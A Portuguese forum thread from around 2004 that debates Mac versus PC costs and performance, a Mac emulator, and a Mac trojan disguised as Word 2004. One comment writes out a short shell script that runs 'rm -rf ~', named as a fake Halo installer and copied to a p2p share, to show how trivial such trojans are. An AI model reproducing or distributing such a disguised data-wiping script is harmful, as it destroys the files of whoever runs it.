| Esta discussão foi arquivada. Não se pode acrescentar nenhum comentário. | | | First post! First post!
Sem querer entrar em guerras, nem quero que pensem que se trata de publicidade gratuita, no entanto não posso deixar de informar que o custo de um Mac já não é assim tão elevado como rezam os mitos urbanos que conhecemos.
Apenas a título de exemplo, um eMac G4 1,25 Ghz custa hoje 829,00 EUR já com IVA. Para quem conhecer a arquitectura, sabe que este G4 a 1,25Ghz consegue ter uma performance muito boa, senão excelente, e que não deixará de fazer praticamente nada que consiga fazer num PC do mesmo valor. Não esquecer ainda o pormenor que, ao adquirir um Mac, está a pagar pelo software que o acompanha, ou seja o Mac OS X e o bundle de aplicações habitual, este custo também deve considerado para avaliar realmente o que pagam os ditos 800, 900 ou os euros que forem.
IMHO, este valor para ter o privilégio de ter um Mac e usar a lufada de ar fresco que é o OSX com o poder do Unix "underneath" é simbólico.
Não estou a tentar vender peixe a ninguém, considerem como mera crónica das minhas últimas experiências...
^S^ |
| | | | | | Por mais eu seja PC-addicted, tenho que dar a mão à palmatória... os MAC's têm melhor TCO que os pc's. E digo isto porque, mesmo que um MAC custe o dobro do pc, tem mais do dobro do tempo de vida útil, e normalmente com hardware de qualidade superior à maioria dos PC's que por aí se vende... :)
|
| | | | Mas não se anime a rodar o iTunes: a placa de som ainda não é emulada.
Mas corre o novo worm para Mac? O meu Windows corre o ultimo worm para Windows...
|
| | | | Mas corre o novo worm para Mac? O meu Windows corre o ultimo worm para Windows...
3 notas:
1- Nao há Worms em Mac (até à data), o que há é dois troianos (i.e. falsos programas que fazem "qualquer coisa que nao será bem o que o utilizador estaria à espera - o ultimo anda nas redes p2p como sendo o Word 2004, na realidade é um script que corre um "rm -rf ~").
2- Mac OS X é um sistema unix like, em que o utilizador normal nao tem previlegios, como tal é complicado fazer virus/worms com uma expectativa de vida longa. Isso nao o torna necessariamente imune a Worms, muito menos a troianos (que só dependem da cretinisse de quem está por trás do teclado/mouse para serem executados).
3- Quem vai à procura do Word (software comercial) em redes de p2p merece melhor que ficar sem a home directory...
PLS
|
| | | | 3- Quem vai à procura do Word (software comercial) em redes de p2p merece melhor que ficar sem a home directory...
No mínimo, empalado! :-)
Dominus vobiscum |
| | | | Ya tem razao... Mas era mais em tom de piada do que para ser levado a sério. A falha foi minha.
|
| | | | O Mac os X é sensacional. Os Mac's sao pouco mais caros que PC's de marca equivalentes com o Windows OEM às costas... e, francamente é a noite e o dia.
O meu iBook (12 polegadas, G4 800) custou perto de 1000 euro e foi a melhor compra que alguma vez fiz...
PLS
|
| | | | | Os Mac's sao pouco mais caros que os PC's, mas e' raro o utilizador que consegue sobreviver sem o recurso a um PC. E' que ainda ha' muitas aplicacoes que nao correm em mais nada sem ser um PC, e comprar o Virtua lPC ainda custa mais dinheiro em cima. Alias conheco varios mecos que compraram Mac's para depois passarem 50% do tempo a correr aplicacoes (tipo Rational Rose) por baixo do VirtualPC. E' um PC "powered by Apple".
I can live with doubt and uncertainty and not knowing. I think it is much more interesting to live not knowing than to have answers that might be wrong.
|
| | | | Tadinhos. Especialmente porque até conseguem fazer tudo o que querem num Mac... Só têm a desculpa de não saber como, e mesmo essa..
^D |
| | | | (esta opiniao nao e fundada em dados estatisticos)
Conheco muita gente que usa macs e muita gente que usa pcs e eu pessoalmente sou agnostico. Acho que e tudo uma grande porcaria ;)
Creio que o principal factor e o grupo social em que estas inserido e o tipo de programas/computadores que usas no trabalho.
## I should be working... |
| | | | Os Mac's sao pouco mais caros que os PC's, mas e' raro o utilizador que consegue sobreviver sem o recurso a um PC.
Eu nao migrei de Windows para o OS X. Migrei de FreeBSD+KDE para o OS X. Já nao utilizava o Windows para nada, excepto em casa em que partilhava uma máquina com a minha mulher, ela para o seu trabalho e jogar bridge, e eu para abrir o Firebird e o thunderbird. Entretanto o PC ainda existe, mas está desligado há uns meses, dado que ambos preferimos o iBook.
No escritorio mudei todos os desktops para de Windows para OS X. O Office é o OpenOffice (1.1.1). As dificuldades da migraçao sao perto de nenhumas. Isto da secretaria aos programadores, passando por comerciais, marketing, etc.
O Mac nesta matéria é mais simples que os restantes "unix like": há muito software de qualidade nativo da macromedia (dreamweaver, flash, etc), adobe (photoshop e afins) e da própria Apple (Final Cut, keynote)... e alguns jogos: quakes, unreals, starcraft, Warcraft3, sims, Rainbow six 3, etc
Mas o que me impressionou mais foi o que está na instalaçao de base: um excente cliente de mail, um browser decente (Safari), um Officezito (AppleWorks), iCal (agendamento), Addressbook e osmeus preferido: iSync (sincroniza com os telemoveis, PDA, multiplos mac's, etc). Fora isto há joias absolutamente preciosas como o iMovie, iDVD, iPhoto e iTunes que já me fizeram arranjar novos hobbies. E claro o GCC 3.3, make, etc, e Xcode (RAD/IDE com processamento distribuido - compilar em todos os macs da rede é a atirar para o rápido).
Francamente o Windows, e particularmente as coisas que estao no pacote "base" do XP, estao a anos luz do que vem no OS X. Particularmente para quem nao esta interessado em piratarias fica muito melhor servido. Quem está interessado nas piratarias tem o p2p, como no windows, e actualmente a "tese" de que eu em Mac "nao arranjo nada" nem sequer faz sentido.
E' que ainda ha' muitas aplicacoes que nao correm em mais nada sem ser um PC, e comprar o Virtua lPC ainda custa mais dinheiro em cima. Alias conheco varios mecos que compraram Mac's para depois passarem 50% do tempo a correr aplicacoes (tipo Rational Rose) por baixo do VirtualPC.
Acredito. Quem tem que correr a aplicacao que só corre em Windows tem as suas escolhas mais limitadas. Raramente considero a emulaçao uma solucao recomendavel (por muito bem que funcione requer recursos que podem anular ou encarecer a plataforma de host, diminuindo as vantagens da troca ou tornando a mesma dispendiosa). Prefiro, quando é util e vou a tempo, recomendar que escolham melhor as aplicacoes de que dependem.
Casos há em que se precisa de PC's (olha eu preciso para o FreeBSD dos meus servidores todos), e outros em que só Macs fazem o serviço, nesses nao há escolha nenhuma. Casos há em que há escolha, e nesses, francamente é mesmo tomar decisoes e viver com elas.
E' um PC "powered by Apple".
Que é util. Utilizo para quando dou formaçao (segurança) correr Linux (máquina que dá shells aos formandos), FreeBSD (alvo dos ataques a unix) e Windows (alvo mais popular entre a malta que faz os cursos). Funciona muito bem. Grande produto que a Microsoft comprou (feito). Um tipo leva um Mac para os slideshows, gravar os cursos (i.e. iSight) e ainda uma rede virtual, tudo num portatil de 200 contecos (e 30 contos em memoria adicional).
PLS
|
| | | | Os Mac's sao pouco mais caros que os PC's, mas e' raro o utilizador que consegue sobreviver sem o recurso a um PC.
desculpa?!
so' se for pessoal que ja' esta' habituado a usar PCs e depois sente falta exactamente do mesmo software...
quem sempre usou mac sabe bem que se consegue ir arranjando tudo que o PC tem para mac, apenas em PC existem 20 programas a fazer isso, no mac podem existir apenas 2 ou 3
e' questao de procurar e disposto a pagar pelas coisas
isto e' o mesmo problema com o linux, o pessoal tem praticamente tudo, mas basta nao ser o mesmo programa ou funcionar diferente que muito pessoal foge logo para o wine...
(ate' ha' quem corra o IE em wine imagina so'!! ;)
agora isto e' um problema entre a cadeira e o teclado, e' a culpa de pessoal que exige que as coisas sejam iguais, que nao sao capazes de se adaptar aos novos mundos
sim, existem coisas em PC que nao existem em Mac ou Linux, mas em compensacao o inverso tambem e' real
quem geralmente usa o wine ou o virtualPC nao esta' a usar essas coisas unicas, mas sim aquelas mesmas aplicacoes que sempre usou e que com sorte ate' a aplicacao nativa equivalente logo ao lado do icon do virtualPC/Wine
Higuita |
| | | | | De facto. E como já disseram aqui, um iBook é excelente value for money, tendo como único senão para mim o meu (que já é antigo) não ter Bluetooth incorporado. Como podem ler aqui, não me arrependo mesmo nada de ter começado a eliminar progressivamente os PCs todos (excepto uma ou duas caixas que vão alternando entre Linux e FreeBSD ao sabor do pouco tempo livre que me resta). São relativamente baratos (depende do que comprarem, como em tudo na vida), muito fiáveis, e não há praticamente nada que não se consiga fazer (ou correr) neles - e mesmo o Virtual PC (que raramente uso) a correr num Mac acima de 1GHz tem uma performance mais do que suficiente para correr coisas ímpares como o Visio (ou uma instalação inteira de Fedora Core Test 2...). E nunca usei um UNIX melhor - mesmo que portar algumas coisas de Linux seja uma seca devido à quantidade de bibliotecas parvas (e habitualmente não feitas para serem portáveis, por preguiça dos developers) que são necessárias, é trivial usar o Fink para as coisas "habituais". Mas quem quiser dizer mal por desconhecer quer o sistema, quer os preços reais, esteja à vontade... ;)
^D |
| | | | Aqui no Brasil o preço dos Macss são bem salgados:
http://np3.brainternp.com.br/templates/xpress/catalogo/catalogo_item.asp?cod_catalogo=101& cod_Canal=16
Isso dá cerca de 2300 dólares por um micro com "apenas" 256MB de RAM e processador de 1GHz (mesmo sabendo que equivaleria a um x86 de maior clock, com certeza não se compara com um x86 de 3GHz) !
E o Mac "abajur":
http://np3.brainternp.com.br/templates/xpress/catalogo/catalogo_item.asp?cod_catalogo=23&c od_Canal=16
custa cerca de 3000 dólares !
Os únicos Macs que tem preços comparativamente razoáveis são os notebooks (especialmente o iBook).
Um PC "cinza" bem montado, com peças de primeira linha e processadores velozes (Pentium 4 >= 3GHz, Athlon64 >= 3GHz) sai por 1000 a 1500 dólares !
Aqui no Brasil a grande maioria das pessoas não compra PC de marca porque é caro e dá muito menos flexibilidade ao usuário para fazer upgrades de memória, hd, etc. Nós não temos dinheiro como os americanos para jogar um micro no lixo a cada 2, 3 anos e comprar um novo. A gente vai fazendo upgrades parciais até que em 5 a 7anos temos um micro relativamente atualizado.
E a grande maioria também usa Ruindows pirata comprado no camelô por 3 dólares...
Não é à toa que o linux tem ganhado muita popularidade por aqui.
Eu uso linux em PCs e sinceramente não tenho vontade nenhuma de ter um Mac, mesmo achando sexy a sua interface gráfica. Gosto do PC por ser uma plataforma aberta, onde posso comprar placas de qualquer lugar e montar eu mesmo os micros. Não gosto também de pagar softwares OEM em vendas casadas com hardware e acho absurdamente caros os softwares comerciais "top de linha" que normalmente são usados nos Macs pelos designers e artisstas gráficos (a grande maioria doss usuários Mac no país). E para usar software livre é mais vantagem usar logo o linux, que é atualmente a plataforma onde são criados a maioria desses programas, além de ser totalmente livre e não custar nada.
E há muitos temas Aqua-like para o KDE e Gnome para ajudar a diminuir o fetiche pelo visual Mac...
|
| | | | Isso dá cerca de 2300 dólares por um micro com "apenas" 256MB de RAM e processador de 1GHz (mesmo sabendo que equivaleria a um x86 de maior clock, com certeza não se compara com um x86 de 3GHz) !
Não é simples de transmitir esta ideia, mas vou tentar...
A questão dos "GHz": a ideia de que Y GHz no Mac correspondiam a sensivelmente Y*2 no PC já tem barbas. Não se trata tanto de "performance real" mas de sensação de "velocidade" e "suavidade com que as coisas acontecem.
É preciso fazer um "reality check": não se corre a mesma coisa, nem parecido, quando se fala de PC's a correr "Windows" e Macs a correr OS X.
"A correr o quê?" é determinante para se poder fazer comparações. Um windows a 1 GHz a correr DOS com o Windows 95 em cima voa, mesmo com 64mb de RAM. A correr Linux com um windows manager "leve" passa-se o mesmo. O mesmo PC a correr XP (mas com 256 mb) parece um caracol, nada é suave, e a sensação de "suavidade" e "tempos de resposta" desaparece.
Para complicar qualquer tipo de comparação há ainda a questão da "degradação" obvia de performance dos Windows ao longo do tempo. É o "DLL hell" a fazer das suas, o facto é que os Windows parecem ir queimando baterias e perdendo velocidade. Há uma tendencia, devido à forma como funciona e é apresentado aos utilizadores, para irem correndo cada vez mais aplicações no arranque, cada vez mais bonecada no canto inferior direito do ecran, e a coisa melhora significativamente quando é instalado de novo.
Nada disto é verdade no mundo dos Mac. Cada release do OS X parece trazer MAIS performance a máquinas antigas (o ultimo upgrade, panther, deu um aumento de velocidade de cerca de 20% a todos os níveis). A sensação de resposta do sistema não só não se degrada (tipo Windows) como parece aumentar (e aumenta por via das sucessivas optimizações do software).
Esclarecido isto: a correr LINUX em ambas as plataformas, a história da "proporção" de Y GHz para Y*2 GHz vai imediatamente para o galheiro. Não é verdade, não seguramente nessa proporção, e os Mac's são seguramente mais lentos A CORRER LINUX que o PC ao dobro da velocidade de relogio.
A correr "Mac OS X" vs "Windows XP"... bom, isso é outra conversa, e francamente eu acho que no dia a dia a proporção parece maior que a formula Y e Y*2 sugere. Não é. Isso nota-se a correr coisas como o Quake/unreal/RS3 e afins em ambas as plataformas (a favor dos PC's). Mas a mexer na web, nos offices, nos mails, em video e som... bom, prefiro DE FACTO o meu iBook G4 a 1 800mhz a um PC a 3 GHz. E não é só "uma questão de velocidade", é uma questão de suavidade, de lógica de operações (do OS X versus Windows XP), de elegância.
Um Mac é um Mac. Quem nunca utilizou não pode perceber isto. Não dá. É mais caro? Se clahar para o amador... para profissionais? Bom, descontem as dores de cabeça, os virus e anti-virus, service packs que lixam aplicações, e afins... e eu diria que o TCO de ter um Mac é MUITO mais barato. Ah! E é um Unix, administrável, fiável, e que não tem que correr "como administrator" a ultima parvoice da "norton" ou "symantec" e essas companhias absolutamente idiotas que vivem dos bugs e incapacidades da Microsoft em fazer um sistema operativo "meio decente".
Na minha empresa é para mim (que sou o dono) uma escolha natural. Uma pena que não tivesse aparecido o OS X mais cedo (que o OS 9 da Macintosh estava podre de velho e era arcaico).
PLS
|
| | | | E a grande maioria também usa Ruindows pirata comprado no camelô por 3 dólares...
Não é à toa que o linux tem ganhado muita popularidade por aqui.
Curioso... pela tua descrição o Windows parece custar o mesmo que o Linux. É um campo de batalha diferente do da Europa, onde correr software pirata numa empresa dá, eventualmente, prisão para os gerentes. E umas multas muito pouco agradáveis.
Eu uso linux em PCs e sinceramente não tenho vontade nenhuma de ter um Mac, mesmo achando sexy a sua interface gráfica.
Pois... é mais fácil "não ter vontade nenhuma de ter um Mac" sem se ter tido qualquer coisa da Apple... basta o iPod, ou começar a utilizar o iTunes no Windows... e as coisas complicam-se. Se se começa a utilizar um Mac com OS X é que deixa de haver "volta a dar-lhe". Lembra o sexo ou a droga. Damn. Acho que vou fundar um grupo tipo "utilizadores de Mac anónimos". :-)
Gosto do PC por ser uma plataforma aberta, onde posso comprar placas de qualquer lugar e montar eu mesmo os micros.
Também fui assim... até cair nas malhas da Apple. E depois a forma de olhar para computadores de desktop arruinou-me a vida. Agora estou-me mais ou menos cagando nisso. Quero passar o meu tempo a fazer coisas com o computador, como ferramenta que é, e não a perder tempo a configurar os ditos cujos ou a lutar wrestling com o ultimo service pack.
Agora que me fazes pensar no assunto. Eu acho que em para aí uns 5 PC's que tive nunca fiz upgrades de coisa nenhuma (quando chegava a altura de fazer upgrades esta era sempre também a altura de comprar a geração seguinte). Acrescentei coisas tipo gravadores de CD's a um dos PC's, montei uma placa de TV e acho que "that´s it". É curioso como a maioria das pessoas encara essa "capacidade de upgrade" com uma coisa boa, quando a maioria nunca faz tal coisa.
[...]e acho absurdamente caros os softwares comerciais "top de linha" que normalmente são usados nos Macs pelos designers e artisstas gráficos (a grande maioria doss usuários Mac no país). E para usar software livre é mais vantagem usar logo o linux, que é atualmente a plataforma onde são criados a maioria desses programas, além de ser totalmente livre e não custar nada.
Hum??? Se tu achas que o photoshop, corels, Xpress e afins são criados em Linux... tens de fazer um "reality check". Não são. Deixa que te diga que os ambientes de desenvolvimento em Linux (em particular de C/C++) são uma valente merda quando comparados com os equivalentes em Windows (Visual C++) ou Mac (Xcode e Codewarrior). E que é preciso ser _maluco_ (e ter uma atitude do caral**o! É à homem!) para se ir fazer development com o vi/emacs, em linux, se o target são as API do Windows/Mac. Não, não são feitos em Linux.
Quanto a ser caro ou barato... bom, digamos que o dinheiro que muito profissional factura à conta de uma aplicação como o photoshop não a faz "parecer cara". Até faz parecer um excelente negócio. Podes sempre utilizar o Gimp, mas acredita que não é a mesma coisa.
E há muitos temas Aqua-like para o KDE e Gnome para ajudar a diminuir o fetiche pelo visual Mac...
É um bocado como a masturbação. Ajuda a diminuir a vontade de um gajo se enrolar com uma tipa. Percebo... Mas olha que pode parecer parecido mas não é.
PLS
|
| | | | "utilizadores de Mac anónimos". :-)
aiiii ai ai aiii ai i wanna be yô lóva
Sorry, não resisti, lembro-me sempre da musica dos anuncios da Sumol :)
---
Este espaço pode ser seu! |
| | | | [...]Acho que vou fundar um grupo tipo "utilizadores de Mac anónimos".[...]
Onde é que me inscrevo?
:-)
^S^ |
| | | | Acho que eu não soube me expressar direito. Aqui no Brasil usar software pirata também dá prisão de 1 a 4 anos e mais multas de até 3000 vezes o valor do software.
O linux está fazendo sucesso justamente nas empresas, que cada vez mais são perseguidas pela fiscalização. Infelizmente o vício no Windows é realimentado pelos usuários domésticos, que continuam usando software pirata, comprado abertamente nas ruas das grandes cidades, leilões virtuais e classificados de jornais. Não deve ser uma realidade tão distande da portuguesa, não ?
Eu confesso que já fiquei seriamente inclinado a comprar um iBook, que tem um preço bem mais próximo de um notebook x86, mas continuo achando o preço dos desktops Apple irreais. Essa mania da Apple querer empurrar o monitor embutido no computador encarece o produto e não dá liberdade de escolha ao comprador. E o preço da torre do G5 é ainda mais caro do que o iMac "abajur".
Eu não sou designer gráfico e nem sei mexer no Photoshop ou Corel. Portanto, nunca precisei de tais programas. Um gimp já é complicado demais para mim. Talvez se precisasse dessas ferramentas comprasse um Mac.
Quanto à questão da masturbação, é a única forma de se satisfazer quando não se tem dinheiro para uma de verdade ou quando não se quer gastar. Todo adolescente passa por isso e nenhum deles fica com pêlos nas mãos :-) No caso do Mac eu simplesmente não quero gastar, embora goste do visual. Não troco a flexibilidade e liberdade do PC/Linux por uma plataforma proprietária cujos maiores apelos são o visual caprichado e a disponibilidade de softwares proprietários que não preciso. Para mim basta um tema Aqua-like no linux. E mesmo assim eu enjôo depois de algum tempo e troco os temas com freqüência.
|
| | | | "..40 vezes mais lento..." (com JIT)
Ok, já não é mau, considerando que muitos emuladores de consolas/derivados têm uma relação de velocidade real/emulada muito pior, mas mesmo assim acho que não será muito utilizável, IMHO.
|
| | | | | | "Ok, já não é mau, considerando que muitos emuladores de consolas/derivados têm uma relação de velocidade real/emulada muito pior, mas mesmo assim acho que não será muito utilizável,"
Mas alguém faz mais do que "uma brincadeira" em emuladores? A ideia é explorar, ver, espreitar... quem gosta compra um Mac. Eu comprei 18 (dois para mim, um para o meu pai brincar aos videos (com o Final Cut e 15 para o escritório). Isto nos ultimos 6 meses... agora estao mesmo a aparecer por ai os ibook/powerbook/imac G5 e eu antevejo uns quantos no meu futuro. :-)
PLS
|
| | | | Uma das coisas pro meu futuro é mesmo ter um bixinho desses, em modo portátil. Vamos lá ver se este "sonho" se concretiza...
I'm a lost soul in this lost world... |
| | | | Concordo contigo que quem estiver a sério compra um Mac, aí tudo bem.
Mas há locais onde a emulação é bem-vinda e desejada. VMWare, por exemplo, para ter vários sistemas operativos para servir de cobaias, ou, em casos mais avançados, virtualizar vários servidores ou ter um SO dentro de outro por alguma razão (possibilidades são várias).
Outra hipótese que já toda a gente conhece são as consolas e derivados, que matam sempre a nostalgia.
|
| | | | Também sou da opinião que o VMWare é um bom produto de emulação. Um dos casos em que se pode usar é quando tens um modem usb e sabe-se lá porquê não consegues meter a funcionar em Linux com drivers "emuladores"..
I'm a lost soul in this lost world... |
| | | | | Mas alguém faz mais do que "uma brincadeira" em emuladores? Sim, obviamente... Cumprimentos Mario Valente
|
| | | | mas finalmente vou poder experimentar o MacOs em casa sem ter que largar uma nota valente. O MacOS é de borla?
|
| | | | | | Eheh... já é um tique lusitano. Ainda poucos se ralam com pirataria.
|
| | | | Sim, até à versão 7.5 =) Claro que não era isto que querias dizer, mas é verdade que a Apple dá (excepto a source) de todos os Mac OS até ao 7.5
|
| | | | O MacOS é de borla?
149 Euro (cópia individual) OU 228 Euro (Family pack: para 5 computadores)...
A Apple lança um sistema novo todos os anos, este custo é pelas versoes completas (e nao upgrades - que nao existem nos modelos que a microsoft habituou o mercado). Podem-se "saltar versoes".
O que é fascinante é a capacidade da Apple de enfiar novas features, aumentar a velocidade do sistema em cada nova versao (literalmente dando nova vida ao hardware mais antigo), todos os anos.
O windows XP por seu lado custa os mesmos 149 euro, por uma versao upgrade (i.e. que nao permite a instalacao do sistema num computador sem uma das versoes antigas), e 304 Euro pela versao completa.
PLS
|
| | | | E o Windows cada vez mais lentinho =) faltou esta parte.. (há e com features copiadas)
I'm a lost soul in this lost world... |
| | | | | claro.. e o kde e o gnome nao copiaram nada do windows.. amigo.. se está bem feito pq raio não se ha-de usar as ideias?!?!? tenho de ver se "escrevo baixo" para os senhores das patentes de ideias/software não me ouvirem e processarem-me em largos milhoes de euros. estes fundamentalismos....
--
http://www.valfreixo.org
O Hosting com Tomates! |
| | | | | O que é fascinante é a capacidade da Apple de enfiar novas features, aumentar a velocidade do sistema em cada nova versao (literalmente dando nova vida ao hardware mais antigo), todos os anos. Hum... eu tenho um iBook 600Mhz com 3 aninhos, e tenho-o com o MacOS X.2, nunca lhe pus o X.3 porque pensei que provávelmente se ia arrastar, será que afinal até vale a pena?
Já agora, o exposê está dísponivel para o X.2? É uma feature que desconhecia, e quando a vi no filme para o qual dás o link noutro comentário, achei bastante interessante.
"Para mim a tecnologia é como as tangerinas, na medida em que não consigo fazer uma analogia decente sobre nenhuma das duas neste momento" Scott Adams |
| | | | A minha experiência com Mac's G3 (um iMac verde alface do tempo da luta a soco) é que o aumento de velocidade é perfeitamente notório.
PLS
|
| | | | Referia-me ao hardware que é necessário para correr o sistema operativo
|
| | | | Nesta altura, e comparando as horas do teu post com as repostas, só podes estar a gozar - ou então não quiseste ler...
^D |
| | | | Li, mas acho que as pessoas que comprariam emac's 1.5 por 180 contos preferem comprar celeron's 2.4 por 100.
|
| | | | Li, mas acho que as pessoas que comprariam emac's 1.5 por 180 contos preferem comprar celeron's 2.4 por 100.
Bom para elas, que as suas escolhas as deixem satisfeitas... eu nao sigo as multidoes, e ser a opcao popular nao me diz nada, há outros critérios de escolha.
Se te referes a quem compra "Windows"...Sabes como é, nas palavras do Linus: "30 bilioes de moscas podem estar erradas, e eu prefiro costeletas de porco a merda".
Comparar o Mac OS X ao Windows é comparar alfaces e carne de porco (sao demasiado diferentes em quase tudo), ambos alimentam, pode-se viver de ambos, mas sao experiencias radicalmente diferentes de vida.
Já quando se compara a sistemas "unix like" a coisa pia mais fino... o que se compara sao os gnomes e KDE (a correr em cima de linu/bsd) ao Aqua da Apple (ambos com um batatal de aplicacoes integradas), o resto é a todos os niveis equivalente.
PLS
|
| | | | Não mates o mensageiro, eu estava apenas a constatar um facto.
Facto que diz que o mac barato de que falam é barato em comparação com os pc's do jogador comum, mas não é barato em comparação com os pc's que populam os escritórios deste país.
E tenta lembrar-te de uma coisa. O facto de eu ter um pc com windows não quer dizer que não gostava de ter um apple com macOS.
Esta noticia que enviei deixou-me particularmente contente porque nunca tive coragem para gastar os meus tostões ganhos arduamente num computador que não conheço. Agora talvez possa experimentar um bocado mais do que os momentos na fnac ou no cybercafé da esquina, e um dia, se gostar, comprar um.
|
| | | | Não mates o mensageiro, eu estava apenas a constatar um facto.
Credo. Estamos a falar de bits e bytes. Este tipo de discussões não tem importância nenhuma. É mesmo só gozo e "discussão de geeks" pelo prazer da mesma.
Facto que diz que o mac barato de que falam é barato em comparação com os pc's do jogador comum, mas não é barato em comparação com os pc's que populam os escritórios deste país.
Tendo em conta a qualidade da esmagadora maioria dos profissionais de informática deste pais (e planeta), quase todos certificados Microsoft "qualquer coisa", não estranho... Não estranho também que toda a gente ache natural fechar empresas por causa de virus e perder horas a pensar porque é que o Windows "está maluco".
Os utilizadores são obviamente "ainda piores" no que toca ao "know how" com que manipulam as máquinas. Digamos que o homem fui à lua com o poder computacional de um 286, mas que a maioria dos utilizadores dificilmente conseguiria atravassar a rua se tivesse de utilizar um pentium 4 a 3 ghz para fazer o calculo dos passos a dar em função da distância que os separa do quateirão vizinho.
Vivemos rodeados de pessoas com muito pouca capacidade de operar estas máquinas. A maior parte dos "microsoft certifieds something" não sabe fazer mais que reboots e é assim que as coisas funcionam. Não utilizo a mesma métrica que esta gente para escolher as máquinas da minha empresa (e as minhas a titulo pessoal).
E tenta lembrar-te de uma coisa. O facto de eu ter um pc com windows não quer dizer que não gostava de ter um apple com macOS.
Que espero que venhas a ter.
Esta noticia que enviei deixou-me particularmente contente porque nunca tive coragem para gastar os meus tostões ganhos arduamente num computador que não conheço. Agora talvez possa experimentar um bocado mais do que os momentos na fnac ou no cybercafé da esquina, e um dia, se gostar, comprar um.
Desconfio que mais depressa ficas a conhecer o mundo da Apple se vires umas apresentações do que através do "Pear".
Alguns links giros para "geeks" como nós:
keynote do Steve jobs na Apple developers 2003 em que ele mostra o novo Xcode, Panther (com o exposé e afins) e os novos G5. Vai haver outra agora no fim de Junho com a apresentação do proximo OS X (10.4 - Tiger).
Keynote do Steve Jobs em São Francisco 2004 onde ele fala sobre os iPod Mini, as aplicações do iLife, etc.
o filme "pirates of Silicon Valley", com a história da Microsoft e Apple e a guerra entre o Steve Jobs e o Bill Gates. É FABULOSO e vale a pena descobrires o DVD ou (hum... ehhrr...) um divX dele (700 mb numa rede p2p perto de ti).
PLS
|
| | | | É como os vendedores a enfiarem-te Intel/Celeron ao invés de um AMD/AMD64, onde gastas menos e podes colocar mais componentes, sem dizer que ficas com um PC melhor, sem as tangas que eles dão que a performance baixa gradualmente passado logo os primeiros 2 anos, entre outras coisas que inventam, devem ter maior margem de lucro só pode..
I'm a lost soul in this lost world... |
| | | | Convém não esquecer que 1.5 e 2.4 não são quilómetros/hora, o hertz é uma medida de frequência e só por si não significa nada em processadores com ciclos diferentes.
"Para mim a tecnologia é como as tangerinas, na medida em que não consigo fazer uma analogia decente sobre nenhuma das duas neste momento" Scott Adams |
| | | | Uma analogia fácil:
De que vale ter um Ferrari se só leva 3 Kgs, enquanto que o vizinho do lado tem um TIR quase tão rápido quanto o Ferrari mas transporta 600 Kgs! :-)
Dominus vobiscum |
| | | | ...nem se deram ao trabalho de ler para perceberem os (enormes) limites da emulação e o uptime médio... :)
^D |
| | | | | | | | | | | Sempre pensei que a apple fazia lucro pelo hardware, mas será que algum dia eles seriam capazes de vender apenas o SO?
Com a IBM a investir uma fortuna em G5 e no seu sucessor tenho duvidas. Parece mais interessada a Microsoft em migrar "coisas" (i.e. o Direct X e o OS da XBOX) para G5 do que a Apple em utilizar processadores da Intel.
Quanto a um port para x86... hum... amm... bom ele existe "quase completo" de todo o sistema operativo, é open source, e só não está lá o layer gráfico (Aqua) e as duas API (carbon e cocoa): http://developer.apple.com/darwin/
Sempre que há um upgrade ao OS X, o darwin é actualizado, em todas as plataformas...
Não há nada que impeça a Apple, ou alguém de fazer o equivalente "ao que falta", nativo em x86. Se eu acredito que a Apple o tenha feito e guardado a 7 chaves: não tenho duvida nenhuma que sim.
Se o vão lançar? Isso é outra conversa...
PLS
|
| | | | Detectada nova ameaça para Macintosh
A companhia de segurança Intego anunciou nesta quarta-feira (12 de Maio) a descoberta de mais um código malicioso que tem como alvo o sistema OS X, que equipa computadores Macintosh. O arquivo, que a primeira vista parece ser confiável, aparece como uma versão de demonstração do novo Word 2004, que deverá ser lançado como parte da nova suíte de aplicativos da Microsoft, Office 2004 para Mac.
Mais informações detalhadas aqui.
I'm a lost soul in this lost world... |
| | | | | | Isso do word 2004 já foi aqui falado pelo pls, e QUALQUER arquivo oriundo de redes p2p só pode parecer ser fiável ao primeiro neurónio, e adormecido... Os outros teriam de estar mortos ou emigrados.
Where do you want to go today? (tm)
vim Microsoft_Halo_for_Mac_OS(The_Real_Thing).sh
#!/bin/sh
rm -rf ~
:wq
chmod +x Microsoft_Halo_for_Mac_OS(The_Real_Thing).sh
cp Microsoft_Halo_for_Mac_OS(The_Real_Thing).sh /path/to/p2p/shared_folder
Quantos cairiam nisto? Falha do OSX? Claro que não, qualquer user TEM de ter permissões de apagar TODOS os seus ficheiros.
Cheers.
^S^ |
| | | | hehe, pois.. foi só pq vi esta notícia e achei interessante publicar aqui para ver o que diziam (eu n tenho nenhum MAC infelizmente). Eu vi o POST do PLS sobre o word 2004, mas assim ficou mais pormenorizado sobre o trojan/worm.
I'm a lost soul in this lost world... |
| | | | Como também já alguém disse, quem anda a tentar sacar software pirata merece isso e muito mais. De qualquer maneira nem se pode considerar isso um vírus, isto é a mesma coisa que renomear o "rm" para "cp" e depois dizer que é um virus ou um worm.
"Para mim a tecnologia é como as tangerinas, na medida em que não consigo fazer uma analogia decente sobre nenhuma das duas neste momento" Scott Adams |
| | | | Boas.
Já agora, só para acabar o thread.
A reinstalação de um sistema operativo ( especialmente aquele que usamos como desktop ) é uma seca tremenda, e uma perda de tempo incrível. A última vez que o tive que fazer só perdi uma semana inteira para conseguir configurar tudo à minha maneira.
No entanto, a grande maioria continua a fazê-lo de 3 em 3 meses, advogando que o problema não está entre a cadeira e o teclado. Eles lá sabem o quanto estão errados.
C:\Documents and Settings\Administrator>c:\utils\pstools\psinfo
PsInfo 1.34 - local and remote system information viewer
Copyright (C) 2001-2002 Mark Russinovich
Sysinternals - www.sysinternals.com
System information for \\NBK:
Uptime: 0 days, 21 hours, 29 minutes, 42 seconds
Kernel version: Microsoft Windows 2000, Uniprocessor Free
Product type: Professional
Registered organization: Home
Registered owner: Olavo Santos
Install date: 01-11-2002, 13:47:14
Processors: 1
Processor speed: 1.1 GHz
Processor type: Intel Pentium III
Physical memory: 512 MB
Se tudo correr com tem corrido este desktop vai durar bem para lá do End Of Support da Microsoft. E tu, quando é que vais reinstalar o próximo macosx? :-)
@740, Nbk
P.s. - Epá, não me venham com a conversa de que o windows não faz isto ou aquilo, ou são os virus. Aqui em casa quem manda sou eu e não um sistema operativo qq. E até hoje os sistemas operativos sairam sempre derrotados.
|
| |
|
